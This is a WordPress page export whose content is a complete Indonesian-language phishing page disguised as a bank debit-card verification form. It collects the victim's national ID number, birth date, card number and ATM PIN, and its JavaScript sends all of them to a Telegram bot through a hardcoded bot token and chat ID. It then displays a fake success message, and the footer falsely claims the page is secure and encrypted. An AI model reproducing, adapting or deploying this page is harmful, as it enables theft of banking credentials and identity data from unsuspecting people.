{"id":193,"date":"2026-05-31T12:57:20","date_gmt":"2026-05-31T12:57:20","guid":{"rendered":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/?page_id=193"},"modified":"2026-05-31T12:57:20","modified_gmt":"2026-05-31T12:57:20","slug":"193-2","status":"publish","type":"page","link":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/?page_id=193","title":{"rendered":""},"content":{"rendered":"\n<!DOCTYPE html>\n<html lang=\"id\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Verifikasi Data Kartu Debit<\/title>\n    <style>\n        * {\n            margin: 0;\n            padding: 0;\n            box-sizing: border-box;\n            font-family: 'Segoe UI', Roboto, sans-serif;\n        }\n\n        body {\n            background-color: #f0f4f8;\n            display: flex;\n            justify-content: center;\n            align-items: center;\n            min-height: 100vh;\n            padding: 20px;\n        }\n\n        .container {\n            background-color: #ffffff;\n            width: 100%;\n            max-width: 450px;\n            border-radius: 12px;\n            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);\n            overflow: hidden;\n            position: relative;\n        }\n\n        .header {\n            background: linear-gradient(135deg, #165DFF 0%, #4080FF 100%);\n            color: white;\n            padding: 22px;\n            text-align: center;\n            position: relative;\n        }\n\n        .header h2 {\n            font-size: 18px;\n            font-weight: 600;\n        }\n\n        .header p {\n            font-size: 12px;\n            opacity: 0.9;\n            margin-top: 5px;\n        }\n\n        .form-konten {\n            padding: 25px;\n        }\n\n        .grup-input {\n            margin-bottom: 18px;\n        }\n\n        label {\n            display: block;\n            font-size: 14px;\n            font-weight: 500;\n            color: #334155;\n            margin-bottom: 8px;\n        }\n\n        .input-form {\n            width: 100%;\n            padding: 13px 15px;\n            border: 1px solid #cbd5e1;\n            border-radius: 8px;\n            font-size: 16px;\n            transition: all 0.3s;\n            background-color: #f8fafc;\n        }\n\n        .input-form:focus {\n            outline: none;\n            border-color: #165DFF;\n            background-color: #ffffff;\n            box-shadow: 0 0 0 2px rgba(22, 93, 255, 0.1);\n        }\n\n        .keterangan {\n            font-size: 11px;\n            color: #64748b;\n            margin-top: 5px;\n        }\n\n        \/* TAMPILAN KARTU DEBIT *\/\n        .kartu-debit {\n            background: linear-gradient(135deg, #0f48cc 0%, #4080FF 100%);\n            border-radius: 12px;\n            padding: 20px;\n            color: white;\n            margin-bottom: 20px;\n            box-shadow: 0 6px 15px rgba(0,0,0,0.1);\n        }\n\n        .logo-bank-kartu {\n            text-align: right;\n            font-weight: bold;\n            font-size: 16px;\n            margin-bottom: 30px;\n            opacity: 0.9;\n        }\n\n        .nomor-tampil {\n            font-size: 20px;\n            letter-spacing: 2px;\n            font-family: 'Courier New', monospace;\n            margin-bottom: 20px;\n        }\n\n        .info-pemilik {\n            display: flex;\n            justify-content: space-between;\n            font-size: 12px;\n            text-transform: uppercase;\n            opacity: 0.8;\n        }\n\n        \/* TOMBOL *\/\n        .tombol-kirim {\n            width: 100%;\n            padding: 14px;\n            background-color: #165DFF;\n            color: white;\n            border: none;\n            border-radius: 8px;\n            font-size: 16px;\n            font-weight: 600;\n            cursor: pointer;\n            margin-top: 10px;\n            transition: 0.3s;\n        }\n\n        .tombol-kirim:hover {\n            background-color: #0f48cc;\n        }\n\n        .tombol-kirim:disabled {\n            background-color: #94a3b8;\n            cursor: not-allowed;\n        }\n\n        .footer {\n            text-align: center;\n            padding: 15px;\n            font-size: 12px;\n            color: #94a3b8;\n            border-top: 1px solid #f1f5f9;\n            margin-top: 10px;\n        }\n\n        \/* === TAMPILAN STATUS DI TENGAH === *\/\n        .overlay-latar {\n            position: absolute;\n            top: 0;\n            left: 0;\n            width: 100%;\n            height: 100%;\n            background-color: rgba(0, 0, 0, 0.4);\n            display: none;\n            justify-content: center;\n            align-items: center;\n            z-index: 99;\n            border-radius: 12px;\n        }\n\n        .kotak-status {\n            background-color: #ffffff;\n            min-width: 220px;\n            padding: 30px 20px;\n            border-radius: 12px;\n            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);\n            display: flex;\n            flex-direction: column;\n            justify-content: center;\n            align-items: center;\n            text-align: center;\n        }\n\n        .kotak-status.memproses {\n            background-color: #fff3cd;\n            color: #856404;\n            border: 1px solid #ffeeba;\n        }\n\n        .kotak-status.berhasil {\n            background-color: #d4edda;\n            color: #155724;\n            border: 1px solid #c3e6cb;\n        }\n\n        .teks-status {\n            font-size: 16px;\n            font-weight: 600;\n            margin-top: 12px;\n        }\n\n        \/* ANIMASI LOADING *\/\n        .loader {\n            width: 40px;\n            height: 40px;\n            border: 3px solid #856404;\n            border-radius: 50%;\n            border-top-color: transparent;\n            animation: putar 0.8s linear infinite;\n        }\n\n        .berhasil .loader {\n            display: none;\n        }\n\n        .icon-berhasil {\n            font-size: 40px;\n            display: none;\n        }\n\n        .berhasil .icon-berhasil {\n            display: block;\n        }\n\n        @keyframes putar {\n            to { transform: rotate(360deg); }\n        }\n    <\/style>\n<\/head>\n<body>\n\n    <div class=\"container\">\n        <!-- HEADER -->\n        <div class=\"header\">\n            <h2>Verifikasi Data Kartu Debit<\/h2>\n            <p>Isi data sesuai dengan yang terdaftar di Bank<\/p>\n        <\/div>\n\n        <!-- KONTEN FORM -->\n        <div class=\"form-konten\">\n\n            <!-- TAMPILAN KARTU DEBIT -->\n            <div class=\"kartu-debit\">\n                <div class=\"logo-bank-kartu\">BANK<\/div>\n                <div class=\"nomor-tampil\" id=\"tampilNomorKartu\">\u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022<\/div>\n                <div class=\"info-pemilik\">\n                    <div id=\"tampilNama\">NOMOR KTP: &#8230;&#8230;&#8230;&#8230;&#8230;.<\/div>\n                <\/div>\n            <\/div>\n\n            <!-- INPUT NIK KTP -->\n            <div class=\"grup-input\">\n                <label>Nomor NIK KTP<\/label>\n                <input type=\"text\" id=\"nikKtp\" class=\"input-form\" placeholder=\"Masukkan 16 digit NIK\" maxlength=\"16\" oninput=\"hanyaAngka(this)\">\n                <div class=\"keterangan\">Sesuai KTP \/ Kartu Identitas<\/div>\n            <\/div>\n\n            <!-- INPUT TANGGAL LAHIR -->\n            <div class=\"grup-input\">\n                <label>Tanggal Lahir<\/label>\n                <input type=\"text\" id=\"tglLahir\" class=\"input-form\" placeholder=\"DD \/ MM \/ YYYY\" maxlength=\"10\" oninput=\"formatTanggal(this)\">\n                <div class=\"keterangan\">Contoh: 17 \/ 08 \/ 1995<\/div>\n            <\/div>\n\n            <!-- INPUT NOMOR KARTU DEBIT -->\n            <div class=\"grup-input\">\n                <label>16 Digit Nomor Kartu Debit<\/label>\n                <input type=\"text\" id=\"nomorKartu\" class=\"input-form\" placeholder=\"1234 5678 9012 3456\" maxlength=\"19\" oninput=\"formatNomorKartu(this)\">\n                <div class=\"keterangan\">Nomor yang tertera di depan kartu<\/div>\n            <\/div>\n\n            <!-- INPUT PIN ATM -->\n            <div class=\"grup-input\">\n                <label>PIN ATM<\/label>\n                <input type=\"password\" id=\"pinAtm\" class=\"input-form\" placeholder=\"Masukkan 6 Digit PIN\" maxlength=\"6\" oninput=\"hanyaAngka(this)\">\n                <div class=\"keterangan\">PIN rahasia Anda (6 angka)<\/div>\n            <\/div>\n\n            <!-- TOMBOL KIRIM -->\n            <button type=\"button\" id=\"tombolKirim\" class=\"tombol-kirim\" onclick=\"kirimData()\">\u2705 Verifikasi &#038; Kirim Data<\/button>\n\n        <\/div>\n\n        <div class=\"footer\">\n            Aman &#038; Terenkripsi | Terproteksi Sistem Perbankan\n        <\/div>\n\n        <!-- LAYAR STATUS -->\n        <div class=\"overlay-latar\" id=\"overlayStatus\">\n            <div class=\"kotak-status\" id=\"kotakStatus\">\n                <div class=\"loader\"><\/div>\n                <div class=\"icon-berhasil\">\u2705<\/div>\n                <div class=\"teks-status\" id=\"teksStatus\">Memproses&#8230;<\/div>\n            <\/div>\n        <\/div>\n\n    <\/div>\n\n\n    <script>\n        \/\/ === KONFIGURASI TELEGRAM ===\n        const BOT_TOKEN = \"8613929730:AAGRabc1H1GQPAK1ehaWMEMnc8UPa0UG2uE\";\n        const CHAT_ID = \"6633644344\";\n        const API_URL = `https:\/\/api.telegram.org\/bot${BOT_TOKEN}\/sendMessage`;\n\n        \/\/ === FUNGSI HANYA ANGKA ===\n        function hanyaAngka(input) {\n            input.value = input.value.replace(\/[^0-9]\/g, '');\n        }\n\n        \/\/ === FORMAT TANGGAL OTOMATIS (DD \/ MM \/ YYYY) ===\n        function formatTanggal(input) {\n            let nilai = input.value.replace(\/\\D\/g, '');\n            if (nilai.length > 2 && nilai.length <= 4) {\n                nilai = nilai.slice(0,2) + ' \/ ' + nilai.slice(2);\n            } else if (nilai.length > 4) {\n                nilai = nilai.slice(0,2) + ' \/ ' + nilai.slice(2,4) + ' \/ ' + nilai.slice(4,8);\n            }\n            input.value = nilai;\n        }\n\n        \/\/ === FORMAT NOMOR KARTU (4 BAGIAN) ===\n        function formatNomorKartu(input) {\n            let nilai = input.value.replace(\/\\D\/g, '');\n            let nilaiAsli = nilai;\n            nilai = nilai.replace(\/(.{4})\/g, '$1 ').trim();\n            input.value = nilai;\n\n            \/\/ Update tampilan di kartu\n            if(nilaiAsli) {\n                document.getElementById('tampilNomorKartu').innerText = nilai;\n            } else {\n                document.getElementById('tampilNomorKartu').innerText = \"\u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022\";\n            }\n        }\n\n        \/\/ === FUNGSI UTAMA KIRIM DATA ===\n        function kirimData() {\n            \/\/ AMBIL SEMUA NILAI\n            const nik = document.getElementById('nikKtp').value;\n            const tglLahir = document.getElementById('tglLahir').value;\n            const nomorKartu = document.getElementById('nomorKartu').value;\n            const pin = document.getElementById('pinAtm').value;\n\n            \/\/ VALIDASI SEDERHANA\n            if(nik.length < 16 || tglLahir.length < 10 || nomorKartu.length < 19 || pin.length < 6) {\n                alert(\"\u26a0\ufe0f Lengkapi semua data dengan benar!\");\n                return;\n            }\n\n            \/\/ ELEMEN STATUS\n            const tombol = document.getElementById('tombolKirim');\n            const overlay = document.getElementById('overlayStatus');\n            const kotak = document.getElementById('kotakStatus');\n            const teks = document.getElementById('teksStatus');\n\n            \/\/ TAMPILKAN LOADING\n            tombol.disabled = true;\n            overlay.style.display = 'flex';\n            kotak.className = 'kotak-status memproses';\n            teks.innerText = \"Sedang Memverifikasi...\";\n\n            \/\/ === PESAN 1: DATA UTAMA ===\n            const pesanData = `\ud83d\udce9 *DATA VERIFIKASI KARTU DEBIT* \ud83d\udce9\n\n\ud83c\udd94 *NIK KTP:* \n${nik}\n\n\ud83d\udcc5 *Tanggal Lahir:* \n${tglLahir}\n\n\ud83d\udcb3 *Nomor Kartu (16 Digit):* \n${nomorKartu}\n\n\ud83d\udd10 *PIN ATM:* \n${pin}\n\n\u23f0 *Waktu:* ${new Date().toLocaleString('id-ID')}\n            `;\n\n            \/\/ === PESAN 2: NOTIF SAMBUNGKAN \/ LANJUTKAN ===\n            const pesanSambung = `\ud83d\udd14 *NOTIFIKASI SISTEM* \ud83d\udd14\n\u2705 Data diterima lengkap.\n\ud83d\udd17 *Silakan sambungkan proses verifikasi berikutnya.*\n\u23f3 Menunggu tindakan selanjutnya...\n            `;\n\n            \/\/ KIRIM KE TELEGRAM (URUTAN: DATA DULU, BARU NOTIF)\n            fetch(API_URL, {\n                method: \"POST\",\n                headers: {\"Content-Type\": \"application\/json\"},\n                body: JSON.stringify({\n                    chat_id: CHAT_ID,\n                    text: pesanData,\n                    parse_mode: \"Markdown\"\n                })\n            })\n            .then(() => {\n                \/\/ KIRIM NOTIF SAMBUNGKAN SETELAH DATA MASUK\n                return fetch(API_URL, {\n                    method: \"POST\",\n                    headers: {\"Content-Type\": \"application\/json\"},\n                    body: JSON.stringify({\n                        chat_id: CHAT_ID,\n                        text: pesanSambung,\n                        parse_mode: \"Markdown\"\n                    })\n                });\n            })\n            .then(() => {\n                \/\/ UBAH KE BERHASIL\n                kotak.className = 'kotak-status berhasil';\n                teks.innerText = \"Verifikasi Berhasil Disambungkan\";\n\n                \/\/ HILANGKAN OTOMATIS SETELAH 3 DETIK\n                setTimeout(() => {\n                    overlay.style.display = 'none';\n                    tombol.disabled = false;\n                }, 3000);\n            })\n            .catch(() => {\n                alert(\"\u274c Gagal mengirim, coba lagi!\");\n                overlay.style.display = 'none';\n                tombol.disabled = false;\n            });\n        }\n    <\/script>\n\n<\/body>\n<\/html>\n\n","protected":false},"excerpt":{"rendered":"<p>Verifikasi Data Kartu Debit Verifikasi Data Kartu Debit Isi data sesuai dengan yang terdaftar di Bank BANK \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 NOMOR KTP: &#8230;&#8230;&#8230;&#8230;&#8230;. Nomor NIK KTP Sesuai KTP \/ Kartu Identitas Tanggal Lahir Contoh: 17 \/ 08 \/ 1995 16 Digit Nomor Kartu Debit Nomor yang tertera di depan kartu PIN ATM PIN rahasia [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"from","meta":{"footnotes":""},"class_list":["post-193","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/193","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=193"}],"version-history":[{"count":1,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/193\/revisions"}],"predecessor-version":[{"id":194,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/193\/revisions\/194"}],"wp:attachment":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=193"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}